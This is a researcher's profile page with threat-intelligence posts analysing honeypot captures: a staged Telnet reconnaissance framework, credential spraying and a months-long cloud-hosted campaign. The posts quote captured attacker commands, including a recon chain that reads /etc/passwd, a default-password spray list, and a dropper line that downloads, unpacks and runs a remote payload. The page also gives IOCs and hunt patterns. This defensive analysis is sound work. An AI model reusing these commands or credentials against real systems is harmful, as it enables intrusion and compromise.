Pete

Pete

Toronto, ON · Honeypot Operator / Cybersecurity / Threat Researcher / Breaker of All Things / · Self-Directed

Seneca College, Toronto, ON

18 followers

About

Threat intelligence, forensics, and security research professional with over 25 years of experience across financial services, insurance, and telecommunications. Expert in tracking adversary campaigns, conducting high-level forensic investigations, and building scalable intelligence programs with original research recognized by CISA, NCSC, and the FBI.

Specialties

  • Cyber Threat Intelligence
  • Cybersecurity Consulting
  • SOC Analyst
  • Threat Detection
  • Threat Hunting

Skills

  • Threat Intelligence
  • Threat Hunting
  • Digital Forensics
  • STIX 2.1
  • MISP
  • OpenCTI
  • Python
  • Bash
  • Splunk
  • Azure Sentinel

27 skills in total

Experience

  • Independent Security Researcher

    Self-Directed

    Mar 2026 — Present

    Remote

  • SOC Manager

    Mjolnir Cyber Security

    Aug 2025 — Mar 2026

    Toronto, ON

  • Senior Security Analyst — Threat Intelligence & Hunting

    Access Point Consulting (Insurance Sector)

    Feb 2021 — Sep 2025

    Remote

7 experiences in total

Education

  • Seneca College, Toronto, ON

    Diploma, Networking and Tech Support

    Not Specified

Recent posts

This Is What Pre-Attack Reconnaissance Looks Like From Inside the Deception

While reviewing data from my weekly platform sweep, I caught something that stood out from the noise — a two-stage pre-attack reconnaissance framework operating against my deception infrastructure.

**NOTE** This is long, IOC's are provided at the end

November 4, 03:35 UTC

Stage 1 — the automated sweep, the token pattern, the OS fingerprint commands

session.connect

login.success root admin

echo ZqbpuytizwQz

cat /proc/version 2>/dev/null;echo VEND

ls / 2>&1 | head -5;echo LEND

login.success root 1234

echo Zqa2szg1qxQz

cat /proc/version 2>/dev/null;echo VEND

ls / 2>&1 | head -5;echo LEND

login.success root 12345

echo Zqamb8ec0gQz

cat /proc/version 2>/dev/null;echo VEND

ls / 2>&1 | head -5;echo LEND

What happened: There was 20+ sessions in 70 seconds. Every successful password-based login gets the exact same 3 commands. Unique Zq...Qz token per session. Connect, fingerprint, move on. But let's highllight about something about that..

We see that there is a pattern.. for every successful login at this stage, there is a VEND, and then a LEND. The last session captured, there was a VEND, but no LEND. Was it a timeout? Was it deliberate? Can we trace it? Let's look at the timestamps

Below, we see that the everage time of each complete session is approx 6-7 seconds.. The last one, shows that the session dropped before 6 seconds, so

something could have happened along the way, a hiccup, anything. The point being, the framework they were using, has a strict window.

Why is this important: Because, it reveals something about the actor's framework - It is not waiting for responses. Spits out the command, collects and parses what it gets back, and moves on, all while listening within a fixed window. It's volume vs selective targetting.

This is reconnaissance at scale. The goal is not to deeply compromise one target. The goal is to map as many assets as possible, as fast as possible, and feed that data back to the operator for triage

03:35:43 — session.connect

03:35:45 — login.success root admin

03:35:46 — echo ZqbpuytizwQz

03:35:48 — cat /proc/version;echo VEND

03:35:49 — ls /;echo LEND

03:35:52 — session.connect

03:35:53 — login.success root default (no commands)

03:35:56 — session.connect

03:35:57 — login.success root 1234

03:35:57 — echo Zqa2szg1qxQz

03:35:59 — cat /proc/version;echo VEND

03:36:00 — ls /;echo LEND

03:36:02 — session.connect

03:36:03 — login.success root 12345

03:36:03 — echo Zqamb8ec0gQz

03:36:05 — cat /proc/version;echo VEND

← NO LEND. Session dropped.

03:36:09 — next session.connect

Stage 2 — the deliberate return, deeper recon, shell validation

Let's see what happened in Stage 2

Stage 2. November 5. One day later. One session

2026-11-05T01:02 — session.connect

login.success root root

echo Zq69pxyaujQz

id 2>/dev/null;ls /dev 2>/dev/null|head -8;cat /etc/passwd 2>/dev/null|head -2;cat /proc/version 2>/dev/null;echo $((17*3));echo Zz""END

What happened: The actor came back, and used credentials of root:root from one of the prior successful sessions from Stage 1.

root:root hits: 3

2026-11-04T16:58:11 root root a90ff041a34268c2 /dev/null;ls /dev 2>/dev/null|head -8;cat /etc/passwd 2>/dev/null|head -2;cat /proc/version 2>/dev/null;echo $((17*3));echo Zz""END

Let's breakdowm what all this means?

id — who am I? What user, what group, what privileges. Are they root or a limited user.

ls /dev | head -8 — what devices are attached. Disks, TTYs, network interfaces. Tells them about the hardware environment.

cat /etc/passwd | head -2 — first two lines of the user database. Confirms the OS type and sees what system accounts exist.

cat /proc/version — OS version and kernel. Same as Stage 1 but now combined into one command string instead of separate.

echo $((17*3)) — shell arithmetic validation. If the shell returns 51 the shell is fully functional and can execute logic, not just echo strings. This is testing whether the environment can run a payload.

echo Zz""END — session closure marker. Tells the C2 the Stage 2 sequence completed successfully. Notice it’s different from Stage 1’s Zq...Qz tokens — Stage 2 has its own marker. The framework knows which stage it’s in

The key difference from Stage 1:

Stage 1 — broad strokes. OS version. Filesystem exists.

Stage 2 — specific. Who am I. What’s attached. Who else is here. Can I run code.

Stage 2 is pre-payload validation. They’re checking if this target is worth deploying something

They came back for a reason. Stage 1 told them this target was alive. Stage 2 was them deciding whether it was worth attacking

Now, the question is.. was there a Stage 3?

Honest Verdict: No. Atleast not yet.

As one of my managers use to ask to push our thinking was "What is this means?" English wasn't his strong suit :P

I can't help but think.. One session in Stage 1 returned incomplete data — the OS version came back but the filesystem listing never completed. Did the framework flag this target because of that incomplete response? Was Stage 2 triggered by an anomaly in the data, not by a successful one?

Is the framework is designed to follow up on incomplete or unexpected responses — if so, that’s a sophisticated triage mechanism. It’s not just collecting data. It’s identifying targets that behaved differently from the rest

We can’t confirm what triggered Stage 2. But the question is worth asking

Does Stage 2 involve more of the human aspect? We COULD validate that with the timing of commands and their timestamps..

01:02:43.800 — connect

01:02:44.930 — login success (1.1 seconds)

01:02:45.560 — echo token (0.6 seconds)

01:02:46.126 — full command string (0.6 seconds)

This can see here that this is automated/pre-loaded like Stage 1 behaviour. It's highly probable though, that the human factor may have selected the target , but didn't do the work.

This confidently shows that this is not a dumb trivial bot. Here's why:

Here’s what separates it from a dumb bot:

A dumb bot:

Sprays credentials, drops a backdoor or miner, moves on

No second stage

No behavioral change between visits

No structured output parsing

This one:

Stage 1 is automated — but the framework is engineered. Unique session tokens. Structured delimiters. Tight timeouts. Data goes back to a C2 for processing.

Stage 2 is a return visit — 22 hours later. Different command set. Single session. Deeper enumeration. $((17*3)) shell validation — that’s checking if the shell can execute arithmetic, not just echo strings. That’s testing shell capability for a follow-on payload.

Zz""END closure marker —

Stage 2 has a different closing marker than Stage 1. The framework knows which stage it’s in

To me, this looks more like an engineered workflow , not a script kiddie. Stage 2 has a different closing marker than Stage 1. The framework knows which stage it’s in. They never came back for Stage 3. At least not yet. The deception is still running.”

══════════════════════════════════════════════════════

INDICATORS OF COMPROMISE

══════════════════════════════════════════════════════

Source IP: 217.60.102.31

First seen: 2026-11-04T03:35 UTC

Last seen: 2026-11-05T01:02 UTC

Protocol: Telnet

── Stage 1 Fingerprints ──────────────────────────

Session token pattern: Zq[8-10 alphanum]Qz

Output delimiter 1: echo VEND (follows /proc/version)

Output delimiter 2: echo LEND (follows ls /)

Session window: ~6-7 seconds per session

Credential spray: root:admin, root:1234, root:12345,

root:default, root:888888, root:vizxv

── Stage 2 Fingerprints ──────────────────────────

Session token pattern: Zq[8-10 alphanum]Qz

Closure marker: echo Zz""END

Shell validation: echo $((17*3))

Command chain: id;ls /dev|head -8;cat /etc/passwd|head -2;

cat /proc/version;echo $((17*3));echo Zz""END

── Detection Opportunities ───────────────────────

Hunt for: Zq.*Qz token pattern in shell logs

Hunt for: VEND / LEND output delimiters

Hunt for: echo $((17*3)) shell validation

Hunt for: Zz""END closure marker

MITRE: T1021, T1078.001, T1592

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Hello everyone, it's been awhile.. It's been 6 months since I have been head down in Fat Lamb. Tweaking, learning, building, setting on fire, rebuilding, cursing and constantly questioning the platform. One thing I was thinking about all week was the dataset. I thought, do I have anything relevant/ What does all this mean? Just bots, bots, more bots.. I didn't sign up fo this. But I'll tell you something, don't dismiss them. Take a look at the bigger picture and ask yourself , as my manager use to put it "what is this means?".

What am I getting at, take a step back and think about what those bots are hitting. Are they hitting infrastructure, or critical infrastrcuture? Industrial? Now, whatever it may be, think.. they just installed a backdoor.. ssh keys... what does that device tie to? Is it a jump point? Is it some sort of network manager? It's not about the bot, it 's about what happens after. If that Access Broker sells that access, now you have a different problem on your hands.

Actors now have a direct line in. Who's gonna know? There's no login attempt now, or auth, it's a direct line. Under what login did they put the key on? Low level? operator? SOC? Root? How are you going to differentiate now what's normal or trivial first glance? They own the device, they own the traffic, they own the network, and now, they have control.

We need to stop looking at just the surface .Sure, bots are noisy, and annoying, but we need to be less quick to immediately dismiss them, and think about what they touched, what they did, and what can happen.

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About a month and a half ago, I was going through honeypot logs — something I do regularly as part of running a deception-based threat intelligence platform. Routine sweep. And I came across something that made me stop dead.

A credential. Tied to a sub-missile program.

No articles about it. Nothing in any public feed. No mention of it floating around anywhere I could find. Just sitting there in my logs, being tried against my honeypot infrastructure like it was any other username and password.

I dug into my older honeypot data — logs going back years — and found the same credential. Circulating. For 2 to 3 years. From different hosts, different campaigns, different geographies. Nobody had written about it. Nobody had flagged it. It was just... out there.

We reported it to the appropriate authorities within 24 hours.

Fast forward to today. I'm digging into a new botnet variant and I see it again. Same credential. Except now it's not just floating around in the background — it's part of an active brute force routine. It's in the list. And that list is being served by a global botnet with reach that is, frankly, hard to even quantify.

So let me ask you to sit with that for a second.

A credential tied to sensitive, defense-adjacent infrastructure. Unknown to public reporting. Now being sprayed by every compromised device that botnet has touched, across every target those bots hit. The credential doesn't know what it's doing. The botnet doesn't care what it's pointing at. It just tries everything, everywhere, all the time.

That's the reach. Think about what that means.

This brings me to something that's been bothering me for a while, and I think the community needs to have an honest conversation about it.

We don't treat credentials as intelligence. We should.

We track IPs. We track domains. We track file hashes. We build reputation systems, threat feeds, blocklists. The whole industry has built an enormous machine around these indicators.

But credentials? We treat them as noise. We see admin:admin and we yawn. We see root:123456 and we move on. And sure — most of the time, that's the right call. That IS noise.

But what about the credential that ISN'T noise? What about the one that tells you something specific about what's been breached, what's being targeted, and who knows what about what system?

A credential has a lifecycle:

Origin — where did it come from? A breach? A default config? An insider? A previous honeypot hit?

Circulation — who's using it, and how widely? Is it in one actor's toolkit or has it propagated to shared infrastructure?

Weaponization — has it made it into botnet wordlists? Is it now global?

Every step of that lifecycle is intelligence. And we're mostly ignoring it.

Here's the question I keep coming back to: when a credential implies critical infrastructure, does "not my organization" still apply?

I hear this a lot. "We focus on threats to our own environment." Fair enough. But if you're in the telecom sector and you see a credential that clearly came from a defense contractor's network management system — is that not your problem? If you're a threat intelligence analyst and you see credentials tied to ICS/SCADA infrastructure showing up in botnet spray lists — do you log it and move on?

I'd argue no. And I'd argue the industry's attitude on this needs to shift.

We are not siloed. Our infrastructure isn't siloed. The actors targeting us aren't siloed. A credential that opens a door somewhere in the defense-industrial complex doesn't stay there — it propagates, it gets weaponized, and it ends up being tried against YOUR infrastructure too. Maybe not intentionally. But the botnet doesn't discriminate.

There's a second issue here that's more nuanced, and I think it's just as important.

We don't research the origin of credentials enough.

When something shows up in your honeypot logs, the standard play is: categorize it (is it a known default? a sector credential? a known campaign IOC?), log it, maybe add it to your blocklist, move on.

What we don't do enough is ask: where did this come from?

Because the answer to that question — if you can find it — tells you something about what's already been compromised, what the actor knows, and what they're actually after. The credential isn't just a tool. It's a data point about a breach that may or may not have been reported, a system that may or may not be known to be at risk, and an actor capability that may or may not be understood.

In my case, finding that credential in 2-3 years of historical logs told me this wasn't new. This had been out there for a while. That implies the original breach, if there was one, happened even earlier. That's a timeline. That's a story. That's intelligence — if you bother to look.

I'm not saying every password in your spray logs deserves a full investigation. That's not realistic. But I am saying we need to get smarter about which credentials deserve a second look, and we need to build better tooling and community norms around credential intelligence as a first-class discipline.

The credential nobody was watching ended up in a global botnet.

What else is out there that nobody's watching?

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76 days. 896 hits.....wth?!

I know a lot of my posts start like this.. but, this really is when I find things :P

I'm constantly thinking that I may have missed something, or it fell through the cracks, or something silently failed, which has me review the logs, data every so often. Or, look for any optimization, or things I didn't wire in yet. Which I also think is important on anything you build, production or not. Especially when you want to make sure that you want to make sure it makes sense, factual, or leaning towards where the evidence points to.

Then I tripped over something.

Two IP addresses. Both Microsoft Azure. One in the Netherlands, one in Sweden. They first showed up on March 3rd. They were still active on May 18th. 76 days. 896 connection attempts across two separate honeypot nodes — a Telnet DVR emulator and an SSH honeypot.

Same operator. Two IPs working in tandem. Started the same day. Stopped the same day.

I pulled the raw session logs. On May 8th, one of them got through the SSH honeypot. Here's the exact command that ran:

uname -a; lscpu; wget femboy.roboy.me/opt.tgz; tar zxpvf opt.tgz; rm -rf opt.tgz; cd .opt; ./libs; w

Fingerprint the system. Check the CPU architecture. Download a payload. Extract it. Delete the evidence. Execute. Check who else is logged in.

Classic dropper sequence. The domain is dead now — burned after use, NXDOMAIN. The payload is gone. The operator is gone.

No HASSH fingerprint. Sessions closed too fast for key exchange to complete. No shared infrastructure with any known actor. Clean entry, clean exit.

Then I checked a second data source.

A completely separate passive network sensor — no rules, no signatures, no alerts, just Zeek quietly watching flows — had independently observed the same two IPs hitting the same infrastructure during the same window. Different sensor. Different telemetry pipeline. Neither one knew about the other.

I only connected them manually. After the fact. By accident.

Two independent sensors. Same actor. Same 76-day window. Zero alerts fired on either one.

Here's what I keep coming back to.

This wasn't a sophisticated nation-state operation. This was someone methodically working a target list for over two months using cloud infrastructure that most security tools implicitly trust. Microsoft Azure IPs don't raise eyebrows. They're everywhere. They're "legitimate."

They ran the same Telnet probes for two months. Then one day they escalated to SSH. Got in. Dropped their payload. Cleaned up. Left.

The tools didn't fail. Both sensors logged everything faithfully. The gap wasn't detection — it was correlation. The data was there the whole time. It just wasn't connected.

That's the part that should make you uncomfortable. Not that attackers are getting smarter. It's that the evidence is already sitting in your logs, waiting for someone to look.

76 days. 896 hits. Two sensors. One payload. Zero alerts.

And I only found it because I was checking something else entirely.

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After years of building quietly in the background, I'm officially launching Fat Lamb Cyber — a Canadian threat intelligence company I founded and built from the ground up.

Deception-based attribution. Darknet monitoring. We find what falls through vendor gaps.

Five-eyes agency disclosures filed. Platform is live. The hunt continues.. I'm finally pulling the trigger, and getting out of building in the dark. https://www.fatlambcyber.ca

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